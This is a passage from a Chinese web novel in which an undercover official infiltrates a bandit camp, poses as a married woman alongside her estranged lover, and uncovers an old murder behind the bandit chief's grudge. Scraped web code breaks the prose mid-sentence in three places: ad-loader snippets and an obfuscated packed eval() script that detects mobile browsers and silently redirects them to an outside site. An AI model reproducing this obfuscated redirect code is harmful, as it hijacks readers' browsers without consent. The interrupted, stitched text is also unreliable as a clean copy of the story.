鬼面人不说话,只是目光一直在她的脸上流连,好像要将她看出个洞来。 “你叫什么名字?”鬼面人凑近她,问道。 “奴家……叫小月。”景暄和胡诌了一个名字,“‘月’就是月亮的‘月’。” “这笋菇汤你拿走吧,我不喜欢喝。”他将汤罐推开,冷淡道,“这辈子,我最讨厌的东西就是笋了。” 景暄和看他对自己满眼防备的样子,只好点点头,伸手去拿那汤罐。 就在她手离汤罐一寸时,一道掌风扑面而来,鬼面人动作极快,拿筷子抵住了她的喉咙。 景暄和差点就要还手,可是理智却告诉她不能动,这人一定是在试探她的武功,如果她还手,一切就都前功尽弃了。 她抬头,装作惊恐地望向鬼面人,瘫坐在地上:“奴家……奴家怎么得罪大当家了,大当家的为什么要奴家的性命?” 仿佛下一秒就要泫然泪下。 透过那鬼面,男人的两道目光十分冷冽,逼视着她,她觉得自己就是那白蛇,仿佛被他的目光镇在了雷峰塔下。 她只是呆呆地坐着,一双眼睛写满了委屈。 “大哥,你干什么欺负小月?”周岑岑三步并作两步地走了过来,她的身后跟了一个丫鬟,也是与她相似的猎户打扮。 周岑岑一把扯开那筷子,抓住景暄和的手臂道:“小月看起来这么老实,怎么会有坏心思呢?大哥,你干什么对她冷言冷语的,还这样吓她!” “岑岑,你难道忘了我们的母亲是被谁害死了!”二当家的放下了酒碗,皱眉道。 二当家的叫周巡,也是她的亲哥哥。 “二哥,我知道你在顾虑什么,当年父亲偏宠那美貌柔弱的姨娘,我们的母亲抑郁而死,在父亲与叔叔们死后,那姨娘居然卷款而逃,什么都没给我们留下……我永远也不会忘记,可是,这与小月有什么关系呢?”她抿了抿唇,“你不能因为小月也是漂亮的女孩,就觉得她与那姨娘是一丘之貉啊。” 景暄和心想,原来是这样,怪不得他们对她多有防备。 “漂亮的女人就是骗子,不能相信她们。”周巡执拗道。 为了解除他们的疑心,景暄和突然说:“大当家的,二当家的,其实,奴家已经有丈夫了,他虽是个普通人,却对奴家很好,奴家是绝对不会肖想寨主夫人的位置的。” 这招“无中生夫”可还行? 周岑岑“哦”了一声,将她从地上拉了起来,“那他现在在何处?怎么会让你一个弱女子流落在黑风寨呢?” “我与他在逃难的时候走散了,我也不知他下落何方,只好先苟住一条性命,等一切平息之后再去寻他了。”景暄和仍是垂着眼眸道。 “大哥,二哥,你们看小月这么可怜,就不要为难她了吧!”周岑岑望向了那笋菇汤,说:“既然大哥不喜欢吃笋,就给我喝吧。” 她端过了汤罐,将盖子打开,香味霎时四溢开来,实在是诱人。 “怎么会这么香!”周岑岑惊讶道。 终于碰到一个识货的人了,景暄和柔声道:“这汤里可不是普通的菌子,刚才在厨房看了一圈,我发现角落里有一盆菌子,里面竟混有鸡枞菌,其他的厨娘不认得,这可是味道极鲜的菌子,质地细腻,最适合熬汤,我便将它挑了出来,放到这汤中,又加上了鸡汤,才成了这上好的笋菇汤。” 周岑岑连连点头,喝了一口,只觉得唇齿留香,她吃过之后念念不忘,连连夸赞。 “小月,你也太厉害了吧!我倒羡慕你的丈夫了,能吃到你做的东西真是三生有幸啊!” “有什么夸张吗?”周巡不信道。 “二哥,你要不信,也乘碗汤试试?”她让丫鬟拿了个小碗,给他试了一下。 周巡没有说话,只是将信将疑地接过,喝完后只觉得眼前一亮。 他又喝了几口,嘴上却说:“还行吧,就那样,没岑岑说的那么夸张。” “二哥,你就不要狡辩了,要是不好吃的东西,你是绝对不会再吃第二口的!”周岑岑又眨了眨眼,问鬼面人:“大哥,你要不要也试试?” 鬼面人薄唇微抿,还是斩钉截铁地摇了摇头。 “切,不喝拉倒,小月,咱们不理他了!”周岑岑朝鬼面人做了个鬼脸,拉着景暄和就往外走。 她打着一把油纸伞,和景暄和来到了自己的厢房,她的房间很是简约,挂着一把刀,一把剑,还有一张豹子皮。 “这豹子是你打的?”景暄和有些惊讶。 “是我大哥打的,只是我很喜欢,他便送给我了,”周岑岑朗声道,“小月,你不要被我大哥吓到了,其实他人不坏,只是这些年贵为一寨之主,不得不心思重些,也是可以理解的吧。” 又将油纸伞递给她:“你还是去厨房找余嬷嬷吧,让她带你去住的地方,只是厨娘们会住在一起,叽叽喳喳的,你不要觉得不方便就好。” “当然不会,只要有栖身之地小月就已经很满足了。”景暄和接过油纸伞,对她友善地笑了笑。 这女孩心思单纯,景暄和不由得对她多了几分好感,一想到自己要杀她的哥哥,竟升起几分不忍。 可是与望春县全体百姓的性命相比,一个人的命,只能排到后面。 这也是她不得不做出的抉择。 众人都在前厅喝酒,后面有些冷清。 景暄和打着伞,雨还是那么大,大的让人心慌。 其实她今天不是没想过在汤里下毒,可是厨房人多眼杂,并不是下毒的好时候,还是不能心急,若要行动,必须一击即中。 夜色很黑,又下着雨,地上泥泞不堪,让人不禁想到某些鬼怪故事中,那些诡谲的场景。 一道影子落在了她的跟前,景暄和抬眸望去,只见他说: “美人儿,怎么一个人啊?” 他身上酒气很重,脸色通红,打了个酒嗝,竟是独眼龙。 没想到他竟一直跟着她,就等她落单。 景暄和退后了两步,防备地说:“你要做什么?” “做什么?”他猥琐地一笑,“当然是春宵一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刻值千金啊。” “我不是说了,我有丈夫么?”她眉间微蹙,十分不快道。 独眼龙抹了把嘴巴,“正巧了,我就喜欢人妻,那些未经人事的姑娘多没意思,还是人妻会伺候人啊!” 说着就要去抓景暄和的身子,却被她巧妙地躲过。 景暄和心想:喜欢人妻?真是见鬼! 她环顾四周,看到了一个有趣的地方,突然笑了,朝他勾了勾手指头。 这一笑在夜色中如昙花初绽,独眼龙双手搓了搓,赶忙朝她扑去。 景暄和灵活地往旁边一移,他扑了空,不过也不恼,而是獐头鼠目地说:“美人儿,还跟我玩欲擒故纵啊?” 她心中冷笑了一声,面上却说:“什么?我怎么听不懂你说什么?” 脚步轻移,独眼龙急不可耐地跟上她的步子,也顾不得看自己身在何方。 “听不懂,那就让哥哥我到你耳边来说啊!” 他越走越近,又扑了过来。 景暄和一个转身,朝他屁股一踹,那人飞了出去,倒插葱一般地栽到了粪坑里。 “哎呦!救命啊!”独眼龙惊慌道,吞了好几口腌臜物。 景暄和却勾唇一笑,抖了抖身上的灰尘,头也不回地离开了。 *** 翌日。 “大哥,今天又有些流民过来了,不过全是些男人,还是安排他们修补房屋吧?”周巡问鬼面人道。 他点头,“阿巡,以后这些小事你自己决定就好,不需要问我。” 男人们被荆棘绑着排成了一排,其中一人身姿颀长,虽在大雨之中,却仍将背挺得笔直,如一幅精心雕刻的工笔画。 监工给他们一人发了件蓑衣,让他们开始干活。 他是独眼龙的手下,独眼龙昨晚摔到了茅坑里,身上臭烘烘的,怎么洗都洗不干净,他说是景暄和将他踹进去的,景暄和却一口咬定,是他自己喝醉了摔进去的,和她无关。 周岑岑也说,独眼龙总是发酒疯,一定是他自己的问题。 独眼龙吃了瘪,又无处发泄,便全发泄到他们头上,一大早就将他臭骂了一顿。 监工气得要命,正好来了些流民,他看到他们就不爽,拿着鞭子骂骂咧咧道:“快干活!黑风寨养你们可不是做慈善的!谁要是敢偷懒,老子的鞭子可是不长眼的!” 一个老头动作慢了,他刷刷就是两鞭,那老头疼得嗷嗷直叫,大伙对他更畏惧了。 景暄和本抱着脸盆要去洗菜,却在人群中看到一个熟悉的身影。 这不是……那日养白兔的先生吗? 怎么他也变成难民了? 他看到景暄和也像是定住了一般,二人隔着雨幕,遥遥相望。 “他妈的,又来个不怕死的!”监工见他不动,将鞭子扯了扯,扬起来,下一秒就要打到他的身上。 景暄和扔了盆子,朝他奔去,几乎是下意识地挡在他的面前。 众人都有些惊讶,连景暄和自己也惊了。 时间像过了一瞬,又像是陷入了永恒。 “夫……夫君,我终于找到你了。” 为了给自己的行为找补,她终于这样说道。 142. 假扮夫妻 万灵安似是一愣,怔忪地望向景暄和。 他的眼眸仿佛波涛暗涌,无法平静。 周岑岑这时恰好路过,见到此情此景不禁停住了脚步,她一向喜欢热闹,更爱看画本子,这样“破镜重圆”的戏码她只在画本子里看过,没想到今天竟见到真的了。 “小月,这就是你的夫君吗?”她用胳膊肘捅了捅景暄和说道,只是这男人虽然个子很高,看起来却太普通了,小月配他还真是可惜了。 她自然不知道万灵安易了容,更不知道他的真实身份。 景暄和点了点头:“他只是个手无缚鸡之力的书生,我担心他……干不了这些重活。” “你的担心也不无道理,可是,这是我二哥安排的活计,我也不能忤逆他,”周岑岑无奈地耸耸肩,又一把扯下监工的鞭子,指着他的脑袋道:“你少在这里狐假虎威了,难民们都是可怜人,你不许打他们,听到没有!要是再让我看到你欺负无辜,我就拿这鞭子抽你!” 监工吓得连连说是。 解决了麻烦,周岑岑眼中却泛起了疑惑:“咦,你夫君他怎么不说话啊?” “我的夫君……他是个哑巴。”景暄和解释道。 周岑岑了然地点头,“既然你们夫妻二人久别重逢,我就叫余嬷嬷给你们安排在一起住吧,丫鬟们住的地方旁边刚好有一个木屋,只是那屋子很小,之前是堆杂物的,你们二人要凑合一下了。” “多谢了。” “咦,你们夫妻二人是太久没见生疏了吗?怎么连手都不牵?”周岑岑歪着头问,这可跟画本子里“久别重逢”的戏码不太一样呢。 “怎么会?” 景暄和很自然地抓住他的手,可是下一秒,就升起了异样的感觉。 她扯开一抹笑,对这位“夫君”说道:“你先和大家修屋子吧,晚上我们再说。” 景暄和从茅屋出来,躲到了周岑岑的伞下。 她深吸一口气,头也不回地往厨房去了,背影却带上了一丝决绝与冷漠。 *** 晚上,景暄和抱着被子来到了木屋,这儿果然像周岑岑说的,空间很小。 她点燃了蜡烛,又从厨房端来了一碗青菜,就着窝窝头开始吃起来。 门被缓缓推开,蜡烛将他的影子拉得很长,风一吹,影子随风而动。 他将斗笠摘了下来,又将蓑衣脱下来挂在门边,坐到了景暄和的身边。 景暄和只是盯着烛火,看都没看他,她动作机械地吃着窝窝头,没有发出一点声音。 在这诡异的安静中,聪明如他,早已经发现了端倪。 他从怀中掏出了一个馒头,也在她身边开始吃了起来,只是他的动作很慢,外面雨声淅淅沥沥的,不知落在了谁的心头。 景暄和终于将窝窝头放了下来,压抑着怒火道:“万灵安,你还要骗我到什么时候?” 她直勾勾地盯着他,他终于抬起头。 “还在装哑巴吗?我看你不是哑巴,你就是个骗子!”她胸口起伏,压低声音说:“你可真有本事,连身上的熏香都换了,要不是今天我抓住你的手将你认出来了,你是不是还想一直将我蒙在鼓里?” 这双手,她牵过太多次,他的温度,他指间薄茧的位置,就算化成灰她也认识! “算了,你别说话了,我不想听。” 景暄和将耳朵死死地捂住,目光垂下,心中似裂开了万丈沟壑,又像千疮百孔一般,无处诉说。 这些天,她一直以为他生了很重的病,病得不省人事,病得起不来床!她很怕顺天府传来他病逝的消息,每次收到信笺,她都心想,还好不是她最害怕的消息。 无论她与他是爱人亦或是仇敌,她都不想他死——如果他死了,她连恨谁都不知道,这样的人生该多么无望? 可是,如今他却活生生地站在自己面前了,虽然,他换了面容与身份,可他毕竟是活着的,景暄和的心中竟因此感到庆幸。 可这庆幸却被随之而来的怒气所掩盖,他怎么能用这种方法来黑风寨?这儿这么危险,他为什么要凑热闹! 他一定是故意想让她心软,在她好不容易下定决心要忘记他之后! 多么可恶! 外面的雨越下越大,不时闪过一道惊雷,屋内的他们,沉默以对,也不比外面温暖多少。 万灵安双手轻轻地将她的手从耳边撤了下来,道:“如果你不想我在这里,我今晚可以出去。” 他说着就拿着馒头起身。 “胡闹!”景暄和拉住他的袖子,“外面这么大的雨,你是想冻死在这荒郊野外吗?” 她注意到了他的肩膀,因为搬了一天重物衣服被磨破了一大块,隐隐泛出血迹,他的手上也被石块磨破了,本是用来指点江山,撰写文章的手,如今竟被用来做粗活。 有时候景暄和真的搞不懂,他到底想干什么? 放着好好的顺天府不呆,非要来这种荒郊野外的地方和她一起受苦。 无论如何,她发誓,这一定是最后一次对他心软了。 最后一次! 万灵安唇畔一抿,从她细微的表情变化之中仿佛读懂了她的心思,还好,她到底还是放不下他的。 他突然觉得自己很卑劣,企图通过她的心软让自己陪在她的身边,以往是对权力的筹谋,而如今却是在筹谋她的心。 景暄和冷着脸说:“你要自找苦吃不关我的事,可你也不用扮可怜让我同情你,我知道自己来黑风寨的目的是什么,等我们活着出去了,再算我们之间的帐,到时候,就算我们斗得你死我活,我也不会心软一点。最起码,我们不要窝囊地死在这里。” 万灵安嘴唇嗫嚅,很久之后,他说道: “好,我答应你。” 窗外突然闪过两道黑影,万灵安抓住她的手臂,将食指放在唇前示意噤声,往窗子的方向望去。 景暄和也望向了那个方向。 难道……是鬼面人派来盯梢的? 他的疑心一直很重,如今竟派了人过来监视他们,看他们到底是不是真正的夫妻。 怎么证明他们是真正的夫妻呢? 万灵安的目光望向了那床榻…… 景暄和自然知道他在想什么,可就算他们之前情到浓时也没有过夫妻之实,闹掰之后更是恨不得与他一别两宽…… 万灵安突然搂住她的腰肢,一把抱起她往床边走去。 景暄和攀住他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的脖颈,知道有人在外面,也不敢动弹,只是愤愤地盯着他。 这床铺很窄,若要两个人一齐睡下只能侧躺着,景暄和被他推到了里面,盖上了被子。 她想惊呼,却被他捂住嘴巴,万灵安将床幔放了下来,一手搂着她,一手抓住床架,开始用力摇晃起来。 景暄和的脸上像清晨沾满露水的玫瑰,她自然知道他在做什么,可是这个样子也太羞耻了吧。 外面的两人似乎听到了他们在干什么,透过模糊的帐子,依稀看到一双俪影交叠在一起。 俱是口干舌燥,竟开始聊起天来。 “真是的,没想到这美人还真有丈夫,可他分明是个哑巴,也不知美人是怎么看上他的。” “嘿,嗓子坏了有啥关系,只要下面没坏不就行了!” 二人哈哈大笑起来,景暄和被他们的污言秽语弄得心烦,恨不得冲出去给他们几拳头。 景暄和额头早已起了薄薄的一层汗,身边全被他的气息包围,她不敢去看万灵安的眼睛,只觉得大脑一片空白。 万灵安也不比她好多少,黑暗之中,耳鬓厮磨,只觉得心跳得很快,从始至终,只有她能牵动他的心神。 天地之间,只有她。 过了好一会儿他才停下,外面的二人竟没有离开的意思。 景暄和翻了个身背对着他,万灵安起身吹了灯,将被子盖住。 他在她耳边以只有他们听得见的声音说:“忍一晚,明天就好了。” “可是……” “你说的,我们,得活下去。” 黑暗中,他的眼睛如寒星一般,景暄和抓住了被子的边沿,没有再说话。 而此刻,悬崖顶部的土屋却传来男人交谈的声音。 周巡对鬼面人说:“大哥,你也觉得,那个女人有问题?” 鬼面人颔首道:“我总是不信,天底下会有那么巧的事情,那男人虽然面容普通,可周身的气度却让人胆寒,我总觉得,他不是一般人。” “大哥,我们兄弟二人受了多少磨难才建立了黑风寨,谨慎一些总是没错的,岑岑那个傻丫头太过单纯,总是被好看的皮囊所迷惑,每次见到漂亮的人就找不到北了。那个傻丫头可以不计后果,可我们要做的,却是对整个寨子负责。” 鬼面人说:“不知道为什么,我的心里总有一个声音,那女人我一定在哪里见过。” 周巡摸了摸下巴,“偌大的黑风寨,要是混入了细作就不好了。” 鬼面人似是想起了什么,“你还记得我和你说过的‘黑煤球’吗?” “当然记得了,大哥,你不是对她恨之入骨吗?” 那日与她交锋,周巡并没有出马,而是在黑风寨坚守阵地,令他惊讶的是,一向胜券在握的大哥居然在一个女子手上吃瘪了,自那开始,大哥就将她的画像挂在靶子上,日日用来练飞镖。 只是她的脸却被涂黑了,看不清样子。 “我知道那女子在锦衣卫任职,应该不止一人知道她长什么样,阿巡,你派一个伶俐的人下山,弄清那女子的样子,尽快送过来。” 周巡郑重道:“是,大哥。” “记住,一定要快。”鬼面人补充道。 143. 六指怪人 夜已经很深了,周家坳的许多军士已经睡下,还有一些仍在值夜。 徐芃敏穿着盔甲,拿着帕子擦了把脸,忙活了一整天,她只觉得腰酸背疼。 汪常青刚指挥完壁垒的修缮,看徐芃敏似是极累的样子,帮她褪去了沉重的盔甲,又扶着她坐下,帮她捏肩膀。 “相公,你也累了一天,快去休息吧。”徐芃敏只觉得嘴唇有点干,一说话才发现嗓子已经哑了。 汪常青心疼地望着她,拍拍她的手背说:“等一下。” 他从包袱里拿了一个帕子,里面包了些菊花茶,这是望春县的乡亲们送给他的,他一直舍不得喝,便留下来了,唯有给徐芃敏他才舍得。 汪常青帮她泡了茶,让她喝杯茶暖暖身子,他有些歉疚地低下头道:“敏敏,跟着我,你受苦了。” 徐芃敏无所谓地摇摇头,她抓住汪常青的手说:“相公,这是我自己的选择,比起在深闺之中,只读些虚无缥缈的书卷,我倒宁愿在这里,见苍生,见众生,见民间疾苦。” 在这里,她才知道了什么是“秦时明月汉时关,万里长征人未还。” 什么是“裹尸马革英雄事,纵死终令汗竹香。”…… 那些写在书卷中的遥远的感情,她终于在此刻明白了。 她还是那么爱哭,可是那又怎样?她已经会自己擦干眼泪了。徐芃敏知道,自己已经变得越来越坚强,这坚强会让她拥有勇气,这勇气能够面对一切困难,让她不再畏惧未知的将来,即使前路再黑暗,她也能从容地走下去。 “壁垒已经修好了吧?”徐芃敏抬眸问道。 “已经全部都加固了,只要上游堤坝不被毁掉,足以应付这暴雨了。” “接下来就看景姐姐的了。”徐芃敏淡道,她的语气优游自若,好似是对命运的坦然。 她又拿了一个杯子,将茶倒了一半出来。 “相公,境况艰难,可是有你陪着我,我不怕。”她嘴角溢出一个甜甜的笑,将另一个杯子递给汪常青,“来,我们干杯。” 汪常青接过杯子,与她轻轻一碰,二人明明是在喝茶,却仿佛是洞房花烛夜在喝交杯酒。 二人坐在长椅上,徐芃敏将头靠在汪常青的肩上。 这是忙碌中难得的闲暇,也是独属于他们夫妻二人的甜蜜时光。 疾雨落,夜未央。 虽长夜未明,但明天总会到来的。 汪常青似乎哽咽了一下,他握住徐芃敏的手,放在掌心中摩挲,说:“敏敏,得妻如此,夫复何求?你都不怕,我还怕什么……无论上天最后给我什么样的宿命,我都会欣然接受,因为老天爷已经将最好的给过我了。” 窗外雨声阵阵,敲打着帐篷的边缘,沙沙作响。 徐芃敏突然说:“以前小的时候,我最喜欢听雨了,不瞒你说,当时……当时我喜欢万大人,他最喜欢听雨,所以我也学着他去听雨,可是后来,却不是为他了,我曾一个人爬到了顺天府郊外的小楼上,那儿群山环绕,雾气朦胧,林间的雾气随风涌动,只觉得近处与远处的绿色都不一样,浓绿与浅绿交相辉映,在雨中甚是绝妙,我只觉得所有烦恼都抛到九霄云外去了,那时的我,终于明白了古人笔下的‘青箬笠,绿蓑衣,斜风细雨不须归’是什么意思了。” 汪常青静静地听着她讲话,他很喜欢她的声音,即使因为有些沙哑而没有以往那般悦耳,他也欣然地听着。 也许不止是声音,她的什么他都喜欢。 “可是现在,我却惟愿这雨赶快停下来,如果望春县之困解了,相公,你想做什么呢?” “我只想和你一起回家。”他柔声道。 徐芃敏的心中柔软得一塌糊涂,“对,我们一起回家,我想父亲,也想婆母了。”她的声音带着对往事的追忆,“母亲已死,这是怎么也改变不了的事实,可是我们还活着啊,如果能够活着回去的话,我们生一个孩子吧,就生个女儿,像我母亲那样泼辣却心善的,该有多好。” “好,只要能够回去,你说什么我都愿意。”汪常青在她的额头印下了一个吻。 *** 第二天早上,景暄和是被雨声吵醒的。 空气中湿漉漉的,到处弥漫着泥土的气息,身旁已经没有人了,好像昨夜的缱绻都像是一场梦境。 她推开窗,外面仍然阴雨连绵,天空好像破了口子,这雨怎么都下不尽一般。 她将头发编成一条辫子,穿上布衣便往厨房而去。 厨房外面有几个妇人正在棚子下洗衣服,景暄和来的时候,她们都以一种暧昧的目光望着她,有一妇人打趣道:“呦,气色不错啊,看来你男人来了就是不一样。” 景暄和没有理会她们的打趣,只是随意寒暄了几句,在离开的时候,瞥见了妇人手上的袜子。 袜子还没洗,妇人将它浸湿,只见上面有六道黑指印。 六道…… 很明显袜子的主人是六指! 这个发现不由得引起了景暄和的警觉,她突然想起古墓密道中的三具白骨,他们也是六指,难道与袜子的主人有亲戚关系? 景暄和不由得蹲下身,试探着问:“这是谁的袜子呀?姐姐,要不要我来帮你洗。” 妇人用袖子擦了擦汗,说:“不用了,我一个人忙得过来,这是大当家的袜子,他很讲究,别人来洗他会不开心的,所以还是我来吧。” 景暄和点点头,陷入了思考。 那三具白骨死亡大约有二十年的时间,而据她所知,鬼面人的父亲与叔叔们也是那个时候死的,传言中他们是投水而死,这也是鬼面人憎恨朝廷的根源,若他们并不是如大家所知地死去,而是死在了古墓密室中呢? ——有人因某种理由故意杀害了他们,伪造了三具投河的尸体,骗大家说他们是因为赋税过重而死的。 这二十年来,鬼面人背上了仇恨的枷锁,却没想到,他一直都恨错了人! 景暄和突然有一个念头,如果……她是说如果,她帮助鬼面人找出了真正的凶手,并以此谈判,那么她是不是没有必要与他拼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13930364|123189||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的你死我活了? 也许,有更加和平的方式来解决剿匪的问题。 谁都不用死,该死的,是那真正的凶手。 中午时分,景暄和提着篮子去往难民们修屋子的地方,这儿在半山腰,房屋层层叠叠的,大家有的爬到屋顶,有的在下面砌墙,景暄和只见万灵安在最高的一处屋顶,他袖子挽起,头发随意地高高束起,明明是一身棕褐色的布衣,却显得气质沉静。 他身边的人看到了景暄和,朝他吹了个口哨,说:“哑巴,你的漂亮媳妇来了!” 众人停下活计,都往景暄和的方向望去,目光或惊艳,或欣赏,景暄和打着伞,快步走到万灵安的屋子下。 他从梯子上下来,景暄和说:“夫君,我来给你送饭。” 二人来到了一处芭蕉树下,这儿是山脚,没有多少人注意他们。 “我知道你为什么选那处屋顶,”景暄和靠着石头,开门见山地说:“因为在那里,你可以看到堤坝,对不对?” “果然什么都瞒不住你。” “现在水势到底怎样了?”景暄和来了兴趣。 “水势已经很高,大约还有两天便会到临界点,那个时候损坏堤坝,那么整个望春县都会毁于一旦。” 两天…… “其实今天,我注意到了一个问题。” 景暄和想了想,还是将刚才发现的六指袜子告诉了他。 多一个人便是多一份助力,现在她能当做盟友的只有他,虽然他们只是短暂的盟友。 万灵安若有所思地点点头,说:“解铃还须系铃人,若是问题的关键解决了,可能兵不血刃就能成功。” “我也是这样想的,可是,那鬼面人不信任我,如果我就这样找他,说不定会惹来杀身之祸。” 万灵安走近了一步,道:“也许,你可以去找一个人,有了这份助力,你便可以事半功倍。” “谁?” 万灵安对她耳语了几句,景暄和目光如镜,慎重地点了一下头。 *** 半个时辰后,悬崖上的土屋中。 鬼面人茕茕而立,负着手望向窗外,周巡手中拿着画像,“咚咚咚”地敲了好几声门,似乎比雨点还要急迫。 进门后,周巡顾不得拿下斗笠,高声道:“大哥,那女子的画像弄到了!她叫景暄和,如今是从四品的锦衣卫镇抚使。” 他将画像缓缓地展开,只见画中的女子五官精致,轮廓分明,望之脱俗。 特别是她那双眼睛,明眸皓睐,给人一种清澈透明的感觉。 这不是…… 果然是那个女人! 鬼面人怒极,狠狠地捶了一下桌子,桌上的毛笔掉到了地上,溅起了墨色的痕迹。 “大哥,你猜的不错,那个化名为‘小月’的女人就是她!她竟胆子这么大,单枪匹马就敢来黑风寨!” “不是还有那个男人么?我要这对野鸳鸯有来无回!” 鬼面人说完就抓起画像,怒不可遏地冲了出去。 144. 旧案重启 大雨滂沱,他拿着画像,心中愤愤不平,若是找到那个女人,他一定要将这画像狠狠地甩到她的脸上,看她还怎么狡辩! “大当家的!” 厨房门被猛地推开,妇人们都吃了一大惊,从未见过大当家的如此愤怒,到底是谁惹了祸,将他气成这副模样? 余嬷嬷迎了上去,将湿漉漉的手在围裙上擦了擦,问道:“这是怎么了?大当家的来我们厨房干什么?” 鬼面人没有说话,目光如冰地扫了一眼,并没有见到那个身影。 “她去哪了?”他吐出这几个字。 “大当家的,您问的是谁?” “那个叫小月的。” “哦,您说她啊……”余嬷嬷看他面色不善,也不好说什么,只是回忆道,“她好像和她夫君一起去岑岑小姐的房间了。” 岑岑? 鬼面人突然升起不好的预感,难道她预感到事情败露,想用岑岑的性命威胁自己? 一瞬间,他心中发紧,岑岑是他与周巡唯一的妹妹,若是她有个什么三长两短,他该怎么去见九泉之下的父母? 周巡也脸色铁青,在他心中,岑岑是他看着长大的,若是那个女子敢对岑岑不利,他真的不知道自己会做出什么举动! 二人抬起步伐便往妹妹的屋子奔去,大门紧闭,里面好像没有一丁点动静。 鬼面人与周巡交换了一个眼神,守在门口,下一秒便要破门而入。 谁知,门哗的一下打开了。 是周岑岑推开的,她看到哥哥们满是戒备的眼神,似乎嘴唇微张,有些讶异。 “大哥,二哥,你们怎么来了?” 鬼面人拉住妹妹的手臂,又上下端详了许久,生怕她受到一点伤害。 景暄和与万灵安从她身后走了出来,二人并肩而立,目光俱是澄明如水。 周巡将妹妹护在身后,“岑岑,你别被他们骗了!这女子才不是什么‘小月’,而是叫‘景暄和’,是官府的人。” 出乎他意料的是,周岑岑拍拍他的肩膀,说:“我正要去找你们呢,小月,不,暄和姐姐已经将事情全部都告诉我了。”她顿了顿,“我想,我们大家应该坐下来好好谈谈。” “岑岑,你魔怔了吧!和官府的人有什么好谈的!当年父亲和叔叔们就是被他们害死的!”鬼面人提醒道。 周巡也说:“妹妹,你可千万不能相信他们的鬼话!” 周岑岑脸上挂上了不属于她年龄的沉静,“大哥,二哥,如果我们要谈的事情,就是与亲人们的死有关呢?” 两个男人俱是疑团满腹地盯着她,又望向了景暄和。 却见她坦然无畏地望向他们,脸上带上了一抹澹然的微笑。 *** 众人来到大厅之中,下面坐满了黑风寨的土匪们,黑压压的一片,气势逼人。 万灵安自是见惯了大场面,连眼眸都没抬,闲庭信步,仿佛是走入了自家的后花园,景暄和只是在大脑中飞快地组织接下来要说的话,也没功夫理会这无声的威胁。 他们找椅子坐了下来,万灵安道:“周小姐,我们说再多也抵不上你的一句话,还是请你先说吧。” “你会讲话?”周巡瞪大了眼睛。 “这不过是个误会,权宜之计,还请二当家的见谅。”万灵安从善如流道。 他的声音像极清冽的泉水,触在礁石上,自有一番潇洒飘逸。 周岑岑咬了咬嘴唇,说道:“暄和姐姐是官府的人不假,她也将事情和我说了,一开始她来这儿的目的的确是想对哥哥们不利,而她这么做,是想保住望春县那些无辜的百姓们。不瞒你们,一开始听到这个消息,我也很震惊,很愤怒,可是她接下来的话却让我陷入了沉思。” 她将景暄和误入古墓密道的事情与他们说了,在说到那三具白骨的时候,鬼面人与周巡俱是倒吸了一口凉气。 “可是这个女人诡计多端,万一她是在骗我们……” “大当家的,你的名字,是叫‘周粲’对吧?”景暄和突然问。 “三具白骨都有六只脚指,看得出来,他们比寻常的男子要高大,其中一具白骨的手上握着半张羊皮,虽然已经风化了,可我还是能在上面看到“吾儿阿粲”的字样。黑风寨的人都知道二当家的单名一个‘巡’字,却对大当家的名讳并不知晓。”景暄和顿了顿,“难道这还不能证明我曾看过令尊的遗骸吗?” “你说的话,我一个字都不会相信。”鬼面人周粲冷冷道,“知道我的名字又如何?官府的人都是狡猾之辈,谁知道你们从哪里搞清楚我的名字?难道就凭这个就要我相信你吗,别做梦了!” 看着他满是防备的眼神,景暄和也不恼,“你说的也有道理,可我还知道你父亲的一个秘密,从那握有羊皮卷的骸骨上,我发现他的腿骨处被折断过,虽然愈合了,可还是一条腿长一条脚短,鞋子里面垫了东西才显得走路没有异样。” 周粲一惊,父亲小时候摔断了腿,虽然愈合了却总是与常人不同,后来他练习了很久才与普通人走路无异,这是父亲的秘辛,除了自己人外,他没有告诉过任何人。 难道这女子,真的见过父亲的遗骨? “大哥,父亲和叔叔们死的时候我们年岁还小,我记得他们捞上来后尸体已经肿胀得可怕,根本辨认不出面貌,仵作还是根据他们的衣服才下结论的,当时草草就将他们烧了,还说不让我们太伤心,越快处理越好,现在一想,也许暄和姐姐说的没错,那三具尸体,根本就不是父亲和叔叔们!原来这么多年,我们竟怨错了人!” 过往的回忆汹涌而至,当时哥哥一直捂住她的眼睛,要她不要看,可这是她的父亲啊,小时候,父亲最喜欢他这个女儿,经常和她玩举高高的游戏,那样一个伟岸的父亲,居然就这样不明不白地死了? 她失魂落魄地走向景暄和,拉住她的手道:“我想知道,他们死的时候是怎样的,会不会……很痛苦 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“粲儿,巡儿,你们好生糊涂啊,怎能听信他人的一面之词?”周豫生杵着拐杖,在仆人的搀扶下走了过来。 “周老!” 黑风寨的众人都起身唤他,看来老者在这里德高望重。 “义父……”周粲起身想去扶他,他却甩开了他的手。 景暄和与万灵安对视了一眼,皆是有些惊讶于这不速之客的到来。 周豫生重重地咳嗽了几声,坐在了主座上,他冷眼望向了景暄和,指着她的鼻子骂道:“妖女,你舌灿莲花,到底是何居心?他们的父亲是我的结拜兄弟,我自然是这世上最挂念他的人,可是逝者已矣,纠结这些又有什么意义?黑风寨与官府已经斗了这么多年,就算搞清楚了当年发生的事情,又能怎样?” 他转头对周粲说:“你的父亲和叔叔们回不来了,若你因为这个而投降官府,岂不是置黑风寨上下所有人的性命于不顾?难道朝廷会放过你吗?” 景暄和起身道:“周老,此言差矣,是非曲直,这世上总有一个公道要辨,至于朝廷那边,景某会将事情的原委写成奏折,呈报陛下,只要你们接受招安,我定会尽全力劝说陛下,陛下仁慈,定不忍大家陷入血雨腥风之中的。” 